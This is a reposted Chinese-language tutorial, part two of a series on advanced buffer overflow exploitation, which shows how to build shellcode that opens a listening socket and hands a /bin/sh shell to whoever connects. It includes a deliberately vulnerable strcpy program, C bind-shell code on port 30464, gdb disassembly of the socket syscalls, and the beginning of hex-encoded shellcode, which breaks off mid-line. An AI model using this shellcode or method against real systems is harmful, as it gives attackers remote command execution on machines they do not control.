高级缓冲溢出的使用(下)

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

6. 建立套接字(socket)连接

如果我们攻击一个存在缓冲区溢出漏洞的守护程序,会使它崩溃。因此在大多数情况下,我们必须先执行一个shell,然后打开一个套接字端口,再利用标准I/O建立连接。否则,不可能获得所需的shell。即使得到了shell,由于该守护程序已经崩溃,我们也无法执行任何指令,所以,必须编制更为复杂的shellcode,用于与我们的机器建立连接。

6.1 攻击的例程

----------------------------------------------------------------------------

#include

int main(int argc,char **argv)

{

char buffer[1024];

if(argc1)

strcpy(buffer,argv[1]);

}

----------------------------------------------------------------------------

这是一个标准的存在溢出漏洞的程序.我们用它来验证如何编写打开一个socket连接的shellcode。但我们太懒了,都不想编写守护例程.:-)但是我敢保证,看完以下代码后,你一定不会失望。:)

6.2 编制建立套接字的代码

以下是可以建立套接字的程序。

opensocketasm1.c

----------------------------------------------------------------------------

#include

#include

#include

int soc,cli,soc_len;

struct sockaddr_in serv_addr;

struct sockaddr_in cli_addr;

int main()

{

if(fork()==0)

{

serv_addr.sin_family=AF_INET;

serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);

serv_addr.sin_port=htons(30464);

soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

bind(soc,(struct sockaddr

*)&serv_addr,sizeof(serv_addr));

listen(soc,1);

soc_len=sizeof(cli_addr);

cli=accept(soc,(struct sockaddr *)&cli_addr,&soc_len);

dup2(cli,0);

dup2(cli,1);

dup2(cli,2);

execl("/bin/sh","sh",0);

}

}

----------------------------------------------------------------------------

使用汇编语言来写的话代码会不一样。你可以把上面的程序写得更简单点。

opensocketasm2.c

----------------------------------------------------------------------------

#include

#include

#include

int soc,cli;

struct sockaddr_in serv_addr;

int main()

{

if(fork()==0)

{

serv_addr.sin_family=2;

serv_addr.sin_addr.s_addr=0;

serv_addr.sin_port=0x77;

soc=socket(2,1,6);

bind(soc,(struct sockaddr *)&serv_addr,0x10);

listen(soc,1);

cli=accept(soc,0,0);

dup2(cli,0);

dup2(cli,1);

dup2(cli,2);

execl("/bin/sh","sh",0);

}

}

----------------------------------------------------------------------------

编译和反汇编结果

----------------------------------------------------------------------------

[ user@hosts ~ ] {1} $ gcc -o opensocketasm2 -static

opensocketasm2.c

[ user@hosts ~ ] {2} $ gdb opensocketasm2

GNU gdb 4.17

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License,

and you are

welcome to change it and/or distribute copies of it under

certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty"

for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) disassemble fork

Dump of assembler code for function fork:

0x804ca90 : movl $0x2,%eax

0x804ca95 : int $0x80

0x804ca97 : cmpl $0xfffff001,%eax

0x804ca9c : jae 0x804cdc0

0x804caa2 : ret

0x804caa3 : nop

0x804caa4 : nop

0x804caa5 : nop

0x804caa6 : nop

0x804caa7 : nop

0x804caa8 : nop

0x804caa9 : nop

0x804caaa : nop

0x804caab : nop

0x804caac : nop

0x804caad : nop

0x804caae : nop

0x804caaf : nop

End of assembler dump.

(gdb) disassemble socket

Dump of assembler code for function socket:

0x804cda0 : movl %ebx,%edx

0x804cda2 : movl $0x66,%eax

0x804cda7 : movl $0x1,%ebx

0x804cdac : leal 0x4(%esp,1),%ecx

0x804cdb0 : int $0x80

0x804cdb2 : movl %edx,%ebx

0x804cdb4 : cmpl $0xffffff83,%eax

0x804cdb7 : jae 0x804cdc0

0x804cdbd : ret

0x804cdbe : nop

0x804cdbf : nop

End of assembler dump.

(gdb) disassemble bind

Dump of assembler code for function bind:

0x804cd60 : movl %ebx,%edx

0x804cd62 : movl $0x66,%eax

0x804cd67 : movl $0x2,%ebx

0x804cd6c : leal 0x4(%esp,1),%ecx

0x804cd70 : int $0x80

0x804cd72 : movl %edx,%ebx

0x804cd74 : cmpl $0xffffff83,%eax

0x804cd77 : jae 0x804cdc0

0x804cd7d : ret

0x804cd7e : nop

0x804cd7f : nop

End of assembler dump.

(gdb) disassemble listen

Dump of assembler code for function listen:

0x804cd80 : movl %ebx,%edx

0x804cd82 : movl $0x66,%eax

0x804cd87 : movl $0x4,%ebx

0x804cd8c : leal 0x4(%esp,1),%ecx

0x804cd90 : int $0x80

0x804cd92 : movl %edx,%ebx

0x804cd94 : cmpl $0xffffff83,%eax

0x804cd97 : jae 0x804cdc0

0x804cd9d : ret

0x804cd9e : nop

0x804cd9f : nop

End of assembler dump.

(gdb) disassemble accept

Dump of assembler code for function __accept:

0x804cd40 : movl %ebx,%edx

0x804cd42 : movl $0x66,%eax

0x804cd47 : movl $0x5,%ebx

0x804cd4c : leal 0x4(%esp,1),%ecx

0x804cd50 : int $0x80

0x804cd52 : movl %edx,%ebx

0x804cd54 : cmpl $0xffffff83,%eax

0x804cd57 : jae 0x804cdc0

0x804cd5d : ret

0x804cd5e : nop

0x804cd5f : nop

End of assembler dump.

(gdb) disassemble dup2

Dump of assembler code for function dup2:

0x804cbe0 : movl %ebx,%edx

0x804cbe2 : movl 0x8(%esp,1),%ecx

0x804cbe6 : movl 0x4(%esp,1),%ebx

0x804cbea : movl $0x3f,%eax

0x804cbef : int $0x80

0x804cbf1 : movl %edx,%ebx

0x804cbf3 : cmpl $0xfffff001,%eax

0x804cbf8 : jae 0x804cdc0

0x804cbfe : ret

0x804cbff : nop

End of assembler dump.

(gdb)

----------------------------------------------------------------------------

fork(); code

----------------------------------------------------------------------------

char code[]=

"\x31\xc0" /* xorl %eax,%eax */

"\xb0\x02" /* movb $0x2,%al */

"\xcd\x80"; /* int $0x80 */

----------------------------------------------------------------------------

socket(2,1,6); code

----------------------------------------------------------------------------

/* %ecx 是所有参数的一个指针. */

char code[]=

"\x31\xc0" /* xorl %eax,%eax */

"\x31\xdb" /* xorl %ebx,%ebx */

"\x89\xf1" /* movl %esi,%ecx */

"\xb0\x02" /* movb $0x2,%al */

"\x89\x06" /* movl %eax,(%esi) */

/* 第一个参数. */

/* 在使用该指令前 %esi 已经释放了存储空间. */

"\xb0\x01" /* movb $0x1,%al */

"\x89\x46\x04" /* movl %eax,0x4(%esi) */

/* 第二个参数. */

"\xb0\x06" /* movb $0x6,%al */

"\x89\x46\x08" /* movl %eax,0x8(%esi) */

/* 第三个参数. */

"\xb0\x66" /* movb $0x66,%al */

"\xb3\x01" /* movb $0x1,%bl *

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
© 2005- 王朝網路 版權所有 導航